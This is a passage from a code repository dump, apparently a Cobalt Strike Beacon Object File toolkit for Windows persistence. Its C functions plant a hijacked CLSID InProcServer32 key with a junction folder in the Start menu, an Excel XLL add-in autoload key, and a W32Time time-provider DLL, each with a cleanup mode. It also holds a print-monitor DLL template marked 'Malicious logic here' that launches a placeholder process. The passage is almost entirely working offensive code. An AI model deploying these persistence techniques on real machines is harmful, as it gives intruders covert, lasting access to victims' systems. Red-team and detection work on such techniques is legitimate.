MSVCRT$wcscpy(startupPath, pknownStartupPath); 496 | MSVCRT$wcscat(startupPath, L"\\Programs\\Accessories\\"); 497 | MSVCRT$wcscat(startupPath, folderName); 498 | 499 | MSVCRT$wcscat(dllPath, L"\0"); 500 | 501 | if (clean == 0) 502 | { 503 | //Build our registry key string 504 | RPCRT4$UuidCreate(&myuid); 505 | RPCRT4$UuidToStringW(&myuid, &uidstr); 506 | MSVCRT$wcscat(pFullKeyPath, uidstr); 507 | 508 | //Save the base key with CLSID 509 | MSVCRT$wcscpy(baseKeyPath, pFullKeyPath); 510 | 511 | //add ShellFolder 512 | MSVCRT$wcscat(baseKeyPath, shellFlder); 513 | MSVCRT$wcscat(baseKeyPath, L"\0"); 514 | 515 | //add inprocserver 516 | MSVCRT$wcscat(pFullKeyPath, inproc); 517 | MSVCRT$wcscat(pFullKeyPath, L"\0"); 518 | 519 | MSVCRT$wcscat(startupPath, L".{"); 520 | MSVCRT$wcscat(startupPath, uidstr); 521 | MSVCRT$wcscat(startupPath, L"}"); 522 | MSVCRT$wcscat(startupPath, L"\0"); 523 | 524 | //Add new CLSID key 525 | status = ADVAPI32$RegCreateKeyExW(HKEY_CURRENT_USER, pFullKeyPath, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_CREATE_SUB_KEY, NULL, &phkResult, NULL); 526 | if (0 != status) 527 | { 528 | success = FALSE; 529 | } 530 | //Add InProcServer keys 531 | if (success) 532 | { 533 | WCHAR lpValueName[] = L""; 534 | 535 | len = MSVCRT$wcslen(dllPath) * 2 + 1; 536 | status = ADVAPI32$RegSetKeyValueW(HKEY_CURRENT_USER, pFullKeyPath, lpValueName, REG_EXPAND_SZ, dllPath, (DWORD)len); 537 | if (0 != status) 538 | { 539 | ADVAPI32$RegCloseKey(phkResult); 540 | success = FALSE; 541 | } 542 | 543 | WCHAR* model = L"ThreadingModel"; 544 | WCHAR* apartment = L"Apartment"; 545 | len = MSVCRT$wcslen(apartment) * 2 + 1; 546 | status = ADVAPI32$RegSetKeyValueW(HKEY_CURRENT_USER, pFullKeyPath, model, REG_SZ, apartment, (DWORD)len); 547 | if (0 != status) 548 | { 549 | ADVAPI32$RegCloseKey(phkResult); 550 | success = FALSE; 551 | } 552 | 553 | 554 | } 555 | 556 | //Add ShellFolder keys 557 | if(success) 558 | { 559 | 560 | ADVAPI32$RegCloseKey(phkResult); 561 | phkResult = 0; 562 | status = ADVAPI32$RegCreateKeyExW(HKEY_CURRENT_USER, baseKeyPath, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_CREATE_SUB_KEY, NULL, &phkResult, NULL); 563 | if (0 != status) 564 | { 565 | success = FALSE; 566 | } 567 | WCHAR* attributes = L"Attributes"; 568 | DWORD value = 4035969341; 569 | 570 | status = ADVAPI32$RegSetKeyValueW(HKEY_CURRENT_USER, baseKeyPath, attributes, REG_DWORD, (BYTE*)&value, sizeof(value)); 571 | if (0 != status) 572 | { 573 | ADVAPI32$RegCloseKey(phkResult); 574 | success = FALSE; 575 | } 576 | } 577 | 578 | if (success) 579 | { 580 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Key Created Software\\Classes\\CLSID\\%ls\\InProcServer32\n", uidstr); 581 | 582 | //Add our junction folder 583 | success = KERNEL32$CreateDirectoryW(startupPath, NULL); 584 | if (!success) 585 | { 586 | 587 | BeaconPrintf(CALLBACK_ERROR, "Couldn't create target folder\n"); 588 | success = FALSE; 589 | 590 | } 591 | BeaconPrintf(CALLBACK_OUTPUT, "[*]Created File %ls\n", startupPath); 592 | 593 | 594 | } 595 | 596 | ADVAPI32$RegCloseKey(phkResult); 597 | RPCRT4$RpcStringFreeW(&uidstr); 598 | } 599 | else if (clean == 1) 600 | { 601 | wchar_t shellKeyPath[512] = {0}; 602 | MSVCRT$wcscat(startupPath, L".{"); 603 | MSVCRT$wcscat(startupPath, CLSID); 604 | MSVCRT$wcscat(startupPath, L"}"); 605 | MSVCRT$wcscat(startupPath, L"\0"); 606 | BeaconPrintf(CALLBACK_ERROR, "Trying to clean startup path %ls\n", startupPath); 607 | 608 | MSVCRT$wcscat(pFullKeyPath, CLSID); 609 | 610 | //Need this to delete top key 611 | MSVCRT$wcscpy(baseKeyPath, pFullKeyPath); 612 | MSVCRT$wcscat(baseKeyPath, L"}"); 613 | MSVCRT$wcscat(baseKeyPath, L"\0"); 614 | 615 | //Need this to delete shell subkey 616 | MSVCRT$wcscat(shellKeyPath, pFullKeyPath); 617 | MSVCRT$wcscat(shellKeyPath, shellFlder); 618 | MSVCRT$wcscat(shellKeyPath, L"\0"); 619 | 620 | //Need this to delete inproc subkey 621 | MSVCRT$wcscat(pFullKeyPath, inproc); 622 | MSVCRT$wcscat(pFullKeyPath, L"\0"); 623 | 624 | 625 | status = ADVAPI32$RegDeleteKeyW(HKEY_CURRENT_USER, pFullKeyPath); 626 | if (status) 627 | { 628 | BeaconPrintf(CALLBACK_ERROR, "RegDeleteKey has failed\n"); 629 | success = FALSE; 630 | } 631 | else 632 | { 633 | 634 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully deleted %ls\n", pFullKeyPath); 635 | } 636 | 637 | status = ADVAPI32$RegDeleteKeyW(HKEY_CURRENT_USER, shellKeyPath); 638 | if (status) 639 | { 640 | BeaconPrintf(CALLBACK_ERROR, "RegDeleteKey has failed\n"); 641 | success = FALSE; 642 | } 643 | else 644 | { 645 | 646 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully deleted %ls\n", shellKeyPath); 647 | } 648 | 649 | 650 | status = ADVAPI32$RegDeleteKeyW(HKEY_CURRENT_USER, baseKeyPath); 651 | if (status) 652 | { 653 | BeaconPrintf(CALLBACK_ERROR, "RegDeleteKey has failed\n"); 654 | success = FALSE; 655 | } 656 | else 657 | { 658 | 659 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully deleted %ls\n", baseKeyPath); 660 | } 661 | 662 | if (!KERNEL32$RemoveDirectoryW(startupPath)) 663 | { 664 | BeaconPrintf(CALLBACK_ERROR, "Could not delete folder! ERROR %d\n", KERNEL32$GetLastError()); 665 | success = FALSE; 666 | } 667 | else 668 | { 669 | BeaconPrintf(CALLBACK_OUTPUT, "[+]Successfully deleted %ls\n", startupPath); 670 | } 671 | if (!KERNEL32$DeleteFileW((LPCWSTR)dllPath)) 672 | { 673 | success = FALSE; 674 | BeaconPrintf(CALLBACK_ERROR, "Could not delete %ls, Error: %d\n", dllPath, KERNEL32$GetLastError()); 675 | } 676 | else 677 | { 678 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully deleted %ls\n", dllPath); 679 | } 680 | 681 | } 682 | 683 | OLE32$CoTaskMemFree((LPVOID)pknownStartupPath); 684 | 685 | return success; 686 | } 687 | #endif 688 | 689 | #ifdef XLL 690 | BOOL XllSetup(int clean, wchar_t* xllName, wchar_t* excelVersion) 691 | { 692 | LSTATUS status = -1; 693 | HKEY phkResult = 0; 694 | size_t len = 0; 695 | BOOL success = TRUE; 696 | wchar_t xllPath[MAX_PATH] = {0}; 697 | wchar_t pFullKeyPath[512] = L"Software\\Microsoft\\Office\\"; 698 | MSVCRT$wcscat(pFullKeyPath, excelVersion); 699 | wchar_t* pKeyRemainder = L".0\\Excel\\Options\0"; 700 | MSVCRT$wcscat(pFullKeyPath, pKeyRemainder); 701 | wchar_t* openKey = L"OPEN"; 702 | 703 | //Open HKEY_CURRENT_USER\Software\Microsoft\Office\{VERSION}\Excel\Options 704 | status = ADVAPI32$RegCreateKeyExW(HKEY_CURRENT_USER, pFullKeyPath, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_CREATE_SUB_KEY | KEY_SET_VALUE, NULL, &phkResult, NULL); 705 | if (0 != status) 706 | { 707 | BeaconPrintf(CALLBACK_ERROR, "Could not create %ls, Error: %d\n", pFullKeyPath, KERNEL32$GetLastError()); 708 | return FALSE; 709 | } 710 | 711 | if (clean == 0) 712 | { 713 | MSVCRT$wcscat(xllPath, L"/R "); 714 | MSVCRT$wcscat(xllPath, xllName); 715 | MSVCRT$wcscat(xllPath, L"\0"); 716 | len = MSVCRT$wcslen(xllPath) * 2 + 1; 717 | status = ADVAPI32$RegSetKeyValueW(HKEY_CURRENT_USER, pFullKeyPath, openKey, REG_SZ, xllPath, (DWORD)len); 718 | if (0 != status) 719 | { 720 | success = FALSE; 721 | } 722 | 723 | } 724 | else 725 | { 726 | status = ADVAPI32$RegDeleteValueW(phkResult, openKey); 727 | if (0 != status) 728 | { 729 | BeaconPrintf(CALLBACK_ERROR, "Could not delete registry key, Error: %d\n", KERNEL32$GetLastError()); 730 | success = FALSE; 731 | } 732 | else 733 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully cleaned registry key\n"); 734 | //%APPDATA% 735 | const GUID xFOLDERID_AppData = { 0x3EB685DB, 0x65F9, 0x4CF6, { 0xA0, 0x3A, 0xE3, 0xEF, 0x65, 0x72, 0x9F, 0x3D } }; 736 | WCHAR* pAppDataPath = NULL; 737 | HRESULT hRes = SHELL32$SHGetKnownFolderPath(&xFOLDERID_AppData, 0, NULL, &pAppDataPath); 738 | if (hRes != 0) 739 | { 740 | BeaconPrintf(CALLBACK_ERROR, "Could not find known folder ID\n"); 741 | success = FALSE; 742 | } 743 | else 744 | { 745 | MSVCRT$wcscat(xllPath, pAppDataPath); 746 | MSVCRT$wcscat(xllPath, L"\\Microsoft\\AddIns\\"); 747 | MSVCRT$wcscat(xllPath, xllName); 748 | MSVCRT$wcscat(xllPath, L"\0"); 749 | if (!KERNEL32$DeleteFileW((LPCWSTR)xllPath)) 750 | { 751 | success = FALSE; 752 | BeaconPrintf(CALLBACK_ERROR, "Could not delete %ls, Error: %d\n", xllPath, KERNEL32$GetLastError()); 753 | } 754 | else 755 | { 756 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully deleted %ls\n", xllPath); 757 | } 758 | } 759 | 760 | 761 | } 762 | 763 | if (phkResult) 764 | ADVAPI32$RegCloseKey(phkResult); 765 | 766 | 767 | return success; 768 | } 769 | #endif 770 | 771 | #ifdef TIME 772 | // Based on https://pentestlab.blog/2019/10/22/persistence-time-providers/ 773 | BOOL RegisterTimeProvider(int cmd, wchar_t* pFullKeyPath, wchar_t* dllName) 774 | { 775 | LSTATUS status = -1; 776 | HKEY phkResult = 0; 777 | DWORD dwDisposition = 0; 778 | 779 | 780 | if (cmd == 0) 781 | { 782 | status = ADVAPI32$RegCreateKeyExW(HKEY_LOCAL_MACHINE, pFullKeyPath, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_CREATE_SUB_KEY, NULL, &phkResult, &dwDisposition); 783 | if (status) 784 | { 785 | BeaconPrintf(CALLBACK_ERROR, "RegCreateKeyExW has failed\n"); 786 | ADVAPI32$RegCloseKey(phkResult); 787 | return FALSE; 788 | } 789 | else 790 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully created %ls\n", pFullKeyPath); 791 | 792 | WCHAR lpValueName[] = L"DllName"; 793 | status = ADVAPI32$RegSetKeyValueW(HKEY_LOCAL_MACHINE, pFullKeyPath, lpValueName, REG_SZ, dllName, MSVCRT$wcslen(dllName) * 2 + 1); 794 | if (status) 795 | { 796 | BeaconPrintf(CALLBACK_ERROR, "RegSetKeyValueW Driver has failed\n"); 797 | ADVAPI32$RegCloseKey(phkResult); 798 | return FALSE; 799 | } 800 | else 801 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully set DllName %ls\n", dllName); 802 | 803 | WCHAR lpValueName1[] = L"Enabled"; 804 | DWORD lpData2 = 1; 805 | status = ADVAPI32$RegSetKeyValueW(HKEY_LOCAL_MACHINE, pFullKeyPath, lpValueName1, REG_DWORD, &lpData2, sizeof(DWORD)); 806 | if (status) 807 | { 808 | BeaconPrintf(CALLBACK_ERROR, "RegSetKeyValueW Enabled has failed\n"); 809 | ADVAPI32$RegCloseKey(phkResult); 810 | return FALSE; 811 | } 812 | 813 | WCHAR lpValueName2[] = L"InputProvider"; 814 | status = ADVAPI32$RegSetKeyValueW(HKEY_LOCAL_MACHINE, pFullKeyPath, lpValueName2, REG_DWORD, &lpData2, sizeof(DWORD)); 815 | if (status) 816 | { 817 | BeaconPrintf(CALLBACK_ERROR, "RegSetKeyValueW InputProvider has failedn"); 818 | ADVAPI32$RegCloseKey(phkResult); 819 | return FALSE; 820 | } 821 | 822 | status = ADVAPI32$RegCloseKey(phkResult); 823 | if (status) 824 | { 825 | BeaconPrintf(CALLBACK_ERROR, "RegCloseKey has failed\n"); 826 | } 827 | } 828 | else if (cmd == 1) 829 | { 830 | BOOL success = TRUE; 831 | status = ADVAPI32$RegDeleteKeyW(HKEY_LOCAL_MACHINE, pFullKeyPath); 832 | if (status) 833 | { 834 | BeaconPrintf(CALLBACK_ERROR, "RegDeleteKey has failed\n"); 835 | success = FALSE; 836 | } 837 | else 838 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully deleted %ls\n", pFullKeyPath); 839 | 840 | if (!KERNEL32$DeleteFileW((LPCWSTR)dllName)) 841 | { 842 | success = FALSE; 843 | BeaconPrintf(CALLBACK_ERROR, "Could not delete %ls, Error: %d\n", dllName, KERNEL32$GetLastError()); 844 | } 845 | else 846 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully deleted %ls\n", dllName); 847 | return success; 848 | } 849 | 850 | return TRUE; 851 | 852 | 853 | } 854 | #endif 855 | 856 | void go(char* args, int length) { 857 | 858 | wchar_t* arg1 = NULL; 859 | wchar_t* arg2 = NULL; 860 | wchar_t* clsid = NULL; 861 | int sizeArg1 = 0; 862 | int sizeArg2 = 0; 863 | int sizeClsid = 0; 864 | DWORD arg = 0; 865 | datap parser; 866 | 867 | BeaconDataParse(&parser, args, length); 868 | arg = BeaconDataInt(&parser); 869 | arg1 = (wchar_t*)BeaconDataExtract(&parser, &sizeArg1); 870 | arg2 = (wchar_t*)BeaconDataExtract(&parser, &sizeArg2); 871 | 872 | if (arg1 == NULL || arg2 == NULL) 873 | { 874 | BeaconPrintf(CALLBACK_ERROR, "Arg parsing failed\n"); 875 | return; 876 | } 877 | 878 | 879 | #ifdef TIME 880 | 881 | wchar_t pFullKeyPath[512] = L"SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\"; 882 | MSVCRT$wcscat(pFullKeyPath, arg1); 883 | 884 | if (!RegisterTimeProvider(arg, pFullKeyPath, arg2)) 885 | { 886 | BeaconPrintf(CALLBACK_ERROR, "Something went wrong!\n"); 887 | return; 888 | } 889 | 890 | #endif 891 | #ifdef PRINTMONITOR 892 | 893 | if (!PrintMonitorPersistence(arg, arg1, arg2)) 894 | { 895 | BeaconPrintf(CALLBACK_ERROR, "Something went wrong!\n"); 896 | return; 897 | } 898 | #endif 899 | #ifdef ShortCutStartup 900 | BuildShortCut(arg, arg1, arg2); 901 | 902 | #endif 903 | 904 | #ifdef XLL 905 | if(!XllSetup(arg, arg1, arg2)) 906 | { 907 | BeaconPrintf(CALLBACK_ERROR, "Something went wrong!\n"); 908 | return; 909 | } 910 | #endif 911 | #ifdef JUNCTION 912 | 913 | if(arg == 1) 914 | { 915 | clsid = (wchar_t*)BeaconDataExtract(&parser, &sizeClsid); 916 | } 917 | 918 | if (!JunctionFolder(arg, arg1, arg2, clsid)) 919 | { 920 | BeaconPrintf(CALLBACK_ERROR, "Something went wrong!\n"); 921 | return; 922 | } 923 | #endif 924 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Success!\n"); 925 | return; 926 | } 927 | 928 | -------------------------------------------------------------------------------- /PrintMonitorDll/MonitorDefs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | #define DllExport __declspec(dllexport) 5 | #define HKEYMONITOR HKEY 6 | 7 | typedef struct _MONITOR2 MONITOR2; 8 | 9 | typedef struct _MONITOR2 { 10 | DWORD cbSize; 11 | BOOL(*pfnEnumPorts)(HANDLE hMonitor, LPWSTR pName, DWORD Level, LPBYTE pPorts, DWORD cbBuf, LPDWORD pcbNeeded, LPDWORD pcReturned); 12 | BOOL(*pfnOpenPort)(HANDLE hMonitor, LPWSTR pName, PHANDLE pHandle); 13 | BOOL(*pfnOpenPortEx)(HANDLE hMonitor, HANDLE hMonitorPort, LPWSTR pPortName, LPWSTR pPrinterName, PHANDLE pHandle, MONITOR2* pMonitor2); 14 | BOOL(*pfnStartDocPort)(HANDLE hPort, LPWSTR pPrinterName, DWORD JobId, DWORD Level, LPBYTE pDocInfo); 15 | BOOL(*pfnWritePort)(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuf, LPDWORD pcbWritten); 16 | BOOL(*pfnReadPort)(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuffer, LPDWORD pcbRead); 17 | BOOL(*pfnEndDocPort)(HANDLE hPort); 18 | BOOL(*pfnClosePort)(HANDLE hPort); 19 | BOOL(*pfnAddPort)(HANDLE hMonitor, LPWSTR pName, HWND hWnd, LPWSTR pMonitorName); 20 | BOOL(*pfnAddPortEx)(HANDLE hMonitor, LPWSTR pName, DWORD Level, LPBYTE lpBuffer, LPWSTR lpMonitorName); 21 | BOOL(*pfnConfigurePort)(HANDLE hMonitor, LPWSTR pName, HWND hWnd, LPWSTR pPortName); 22 | BOOL(*pfnDeletePort)(HANDLE hMonitor, LPWSTR pName, HWND hWnd, LPWSTR pPortName); 23 | BOOL(*pfnGetPrinterDataFromPort)(HANDLE hPort, DWORD ControlID, LPWSTR pValueName, LPWSTR lpInBuffer, DWORD cbInBuffer, LPWSTR lpOutBuffer, DWORD cbOutBuffer, LPDWORD lpcbReturned); 24 | BOOL(*pfnSetPortTimeOuts)(HANDLE hPort, LPCOMMTIMEOUTS lpCTO, DWORD reserved); 25 | BOOL(*pfnXcvOpenPort)(HANDLE hMonitor, LPCWSTR pszObject, ACCESS_MASK GrantedAccess, PHANDLE phXcv); 26 | DWORD(*pfnXcvDataPort)(HANDLE hXcv, LPCWSTR pszDataName, PBYTE pInputData, DWORD cbInputData, PBYTE pOutputData, DWORD cbOutputData, PDWORD pcbOutputNeeded); 27 | BOOL(*pfnXcvClosePort)(HANDLE hXcv); 28 | VOID(*pfnShutdown)(HANDLE hMonitor); 29 | DWORD(*pfnSendRecvBidiDataFromPort)(HANDLE hPort, DWORD dwAccessBit, LPCWSTR pAction, PBIDI_REQUEST_CONTAINER pReqData, PBIDI_RESPONSE_CONTAINER* ppResData); 30 | DWORD(*pfnNotifyUsedPorts)(HANDLE hMonitor, DWORD cPorts, PCWSTR* ppszPorts); 31 | DWORD(*pfnNotifyUnusedPorts)(HANDLE hMonitor, DWORD cPorts, PCWSTR* ppszPorts); 32 | DWORD(*pfnPowerEvent)(HANDLE hMonitor, DWORD event, POWERBROADCAST_SETTING* pSettings); 33 | } MONITOR2, * PMONITOR2, * LPMONITOR2; 34 | 35 | 36 | typedef struct _MONITORREG { 37 | DWORD cbSize; 38 | LONG(*fpCreateKey)(HKEYMONITOR hcKey, LPCTSTR pszSubKey, DWORD dwOptions, REGSAM samDesired, PSECURITY_ATTRIBUTES pSecurityAttributes, HKEYMONITOR* phckResult, PDWORD pdwDisposition, HANDLE hSpooler); 39 | LONG(*fpOpenKey)(HKEYMONITOR hcKey, LPCTSTR pszSubKey, REGSAM samDesired, HKEYMONITOR* phkResult, HANDLE hSpooler); 40 | LONG(*fpCloseKey)(HKEYMONITOR hcKey, HANDLE hSpooler); 41 | LONG(*fpDeleteKey)(HKEYMONITOR hcKey, LPCTSTR pszSubKey, HANDLE hSpooler); 42 | LONG(*fpEnumKey)(HKEYMONITOR hcKey, DWORD dwIndex, LPTSTR pszName, PDWORD pcchName, PFILETIME pftLastWriteTime, HANDLE hSpooler); 43 | LONG(*fpQueryInfoKey)(HKEYMONITOR hcKey, PDWORD pcSubKeys, PDWORD pcbKey, PDWORD pcValues, PDWORD pcbValue, PDWORD pcbData, PDWORD pcbSecurityDescriptor, PFILETIME pftLastWriteTime, HANDLE hSpooler); 44 | LONG(*fpSetValue)(HKEYMONITOR hcKey, LPCTSTR pszValue, DWORD dwType, const BYTE* pData, DWORD cbData, HANDLE hSpooler); 45 | LONG(*fpDeleteValue)(HKEYMONITOR hcKey, LPCTSTR pszValue, HANDLE hSpooler); 46 | LONG(*fpEnumValue)(HKEYMONITOR hcKey, DWORD dwIndex, LPTSTR pszValue, PDWORD pcbValue, PDWORD pTyp, PBYTE pData, PDWORD pcbData, HANDLE hSpooler); 47 | LONG(*fpQueryValue)(HKEYMONITOR hcKey, LPCTSTR pszValue, PDWORD pType, PBYTE pData, PDWORD pcbData, HANDLE hSpooler); 48 | } MONITORREG, * PMONITORREG; 49 | 50 | typedef struct _MONITORINIT { 51 | DWORD cbSize; 52 | HANDLE hSpooler; 53 | HKEYMONITOR hckRegistryRoot; 54 | PMONITORREG pMonitorReg; 55 | BOOL bLocal; 56 | LPCWSTR pszServerName; 57 | } MONITORINIT, * PMONITORINIT; -------------------------------------------------------------------------------- /PrintMonitorDll/PrintMonitorDll.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {05a66037-4304-48a5-b2ac-a448420ae177} 25 | PrintMonitorDll 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;PRINTMONITORDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 90 | true 91 | Use 92 | pch.h 93 | 94 | 95 | Windows 96 | true 97 | false 98 | 99 | 100 | 101 | 102 | Level3 103 | true 104 | true 105 | true 106 | WIN32;NDEBUG;PRINTMONITORDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 107 | true 108 | Use 109 | pch.h 110 | 111 | 112 | Windows 113 | true 114 | true 115 | true 116 | false 117 | 118 | 119 | 120 | 121 | Level3 122 | true 123 | _DEBUG;PRINTMONITORDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 124 | true 125 | Use 126 | pch.h 127 | 128 | 129 | Windows 130 | true 131 | false 132 | 133 | 134 | 135 | 136 | Level3 137 | true 138 | true 139 | true 140 | NDEBUG;PRINTMONITORDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 141 | true 142 | NotUsing 143 | pch.h 144 | MultiThreaded 145 | 146 | 147 | Windows 148 | true 149 | true 150 | false 151 | false 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | -------------------------------------------------------------------------------- /PrintMonitorDll/PrintMonitorDll.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | -------------------------------------------------------------------------------- /PrintMonitorDll/PrintMonitorDll.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /PrintMonitorDll/dllmain.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "MonitorDefs.h" 4 | 5 | //Template taken from https://stmxcsr.com/persistence/print-monitor.html 6 | // Malicious logic here 7 | BOOL WINAPI CsEnumPorts(HANDLE hMonitor, LPWSTR pName, DWORD Level, LPBYTE pPorts, DWORD cbBuf, LPDWORD pcbNeeded, LPDWORD pcReturned) 8 | { 9 | STARTUPINFOW si; 10 | PROCESS_INFORMATION pi; 11 | 12 | SecureZeroMemory(&si, sizeof(si)); 13 | si.cb = sizeof(si); 14 | SecureZeroMemory(&pi, sizeof(pi)); 15 | const wchar_t* tp = L"notepad.exe"; 16 | CreateProcessW((LPWSTR)tp, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); 17 | 18 | return TRUE; 19 | } 20 | 21 | BOOL WINAPI CsOpenPort(HANDLE hMonitor, LPWSTR pName, PHANDLE pHandle) 22 | { 23 | BOOL bRet = TRUE; 24 | 25 | return bRet; 26 | } 27 | 28 | BOOL WINAPI CsOpenPortEx(HANDLE hMonitor, HANDLE hMonitorPort, LPTSTR pszPortName, LPTSTR pszPrinterName, LPHANDLE pHandle, LPMONITOR2 pMonitor) 29 | { 30 | BOOL bRet = TRUE; 31 | 32 | return bRet; 33 | } 34 | 35 | BOOL CsStartDocPort(HANDLE hPort, LPWSTR pPrinterName, DWORD JobId, DWORD Level, LPBYTE pDocInfo) 36 | { 37 | BOOL bRet = TRUE; 38 | 39 | return bRet; 40 | } 41 | 42 | BOOL CsWritePort(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuf, LPDWORD pcbWritten) 43 | { 44 | BOOL bRet = TRUE; 45 | 46 | return bRet; 47 | } 48 | 49 | BOOL CsReadPort(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuffer, LPDWORD pcbRead) 50 | { 51 | BOOL bRet = TRUE; 52 | 53 | return bRet; 54 | } 55 | 56 | BOOL CsEndDocPort(HANDLE hPort) 57 | { 58 | BOOL bRet = TRUE; 59 | 60 | return bRet; 61 | } 62 | 63 | BOOL CsClosePort(HANDLE hPort) 64 | { 65 | BOOL bRet = TRUE; 66 | 67 | return bRet; 68 | } 69 | 70 | BOOL CsGetPrinterDataFromPort(HANDLE hPort, DWORD ControlID, LPWSTR pValueName, LPWSTR lpInBuffer, DWORD cbInBuffer, LPWSTR lpOutBuffer, DWORD cbOutBuffer, LPDWORD lpcbReturned) 71 | { 72 | BOOL bRet = TRUE; 73 | 74 | return bRet; 75 | } 76 | 77 | BOOL CsSetPortTimeOuts(HANDLE hPort, LPCOMMTIMEOUTS lpCTO, DWORD reserved) 78 | { 79 | BOOL bRet = TRUE; 80 | 81 | return bRet; 82 | } 83 | 84 | BOOL WINAPI CsXcvOpenPort(HANDLE hMonitor, LPCWSTR pszObject, ACCESS_MASK GrantedAccess, PHANDLE phXcv) 85 | { 86 | BOOL bRet = TRUE; 87 | 88 | return bRet; 89 | } 90 | 91 | DWORD CsXcvDataPort(HANDLE hXcv, LPCWSTR pszDataName, PBYTE pInputData, DWORD cbInputData, PBYTE pOutputData, DWORD cbOutputData, PDWORD pcbOutputNeeded) 92 | { 93 | // ERROR_SUCESS 94 | return 0; 95 | } 96 | 97 | BOOL CsXcvClosePort(HANDLE hXcv) 98 | { 99 | BOOL bRet = TRUE; 100 | 101 | return bRet; 102 | } 103 | 104 | VOID CsShutdown(HANDLE hMonitor) 105 | { 106 | 107 | } 108 | 109 | DWORD CsSendRecvBidiDataFromPort(HANDLE hPort, DWORD dwAccessBit, LPCWSTR pAction, PBIDI_REQUEST_CONTAINER pReqData, PBIDI_RESPONSE_CONTAINER* ppResData) 110 | { 111 | // ERROR_SUCCESS 112 | return 0; 113 | } 114 | 115 | MONITOR2 Moni = 116 | { 117 | sizeof(MONITOR2), 118 | CsEnumPorts, // EnumPorts 119 | CsOpenPort, // OpenPort 120 | CsOpenPortEx, // OpenPortEx 121 | CsStartDocPort, // StatDocPort 122 | CsWritePort, // WritePort 123 | CsReadPort, // ReadPort 124 | CsEndDocPort, // EndDocPort 125 | CsClosePort, // ClosePort 126 | NULL, // AddPort -> obsolete should not be used 127 | NULL, // AddoPortEx -> obsolete must be NULL 128 | NULL, // ConfigurePort -> obsolete should not be used 129 | NULL, // DeletePort -> obsolete should not be used 130 | CsGetPrinterDataFromPort, // GetPrinterDataFromPort 131 | CsSetPortTimeOuts, // SetPortTimeOuts 132 | CsXcvOpenPort, // XcvOpenPort | Port Monitors Only 133 | CsXcvDataPort, // XcvDataPort | Port Monitors Only 134 | CsXcvClosePort, // XcvClosePort | Port Monitors Only 135 | CsShutdown, // Shutdown 136 | CsSendRecvBidiDataFromPort, // SendRecvBidiDataFromPort 137 | NULL, // NotifyUsedPorts 138 | NULL, // NotifyUnusedPorts 139 | NULL // PowerEvent 140 | }; 141 | 142 | 143 | 144 | __declspec(dllexport) LPMONITOR2 InitializePrintMonitor2(PMONITORINIT pMonitorInit, PHANDLE phMonitor) 145 | { 146 | 147 | *phMonitor = (PHANDLE)pMonitorInit; 148 | 149 | return &Moni; 150 | } 151 | 152 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) 153 | { 154 | switch (fdwReason) 155 | { 156 | case DLL_PROCESS_ATTACH: 157 | break; 158 | case DLL_THREAD_ATTACH: 159 | case DLL_PROCESS_DETACH: 160 | case DLL_THREAD_DETACH: 161 | break; 162 | } 163 | 164 | return TRUE; 165 | } 166 | -------------------------------------------------------------------------------- /README.md: 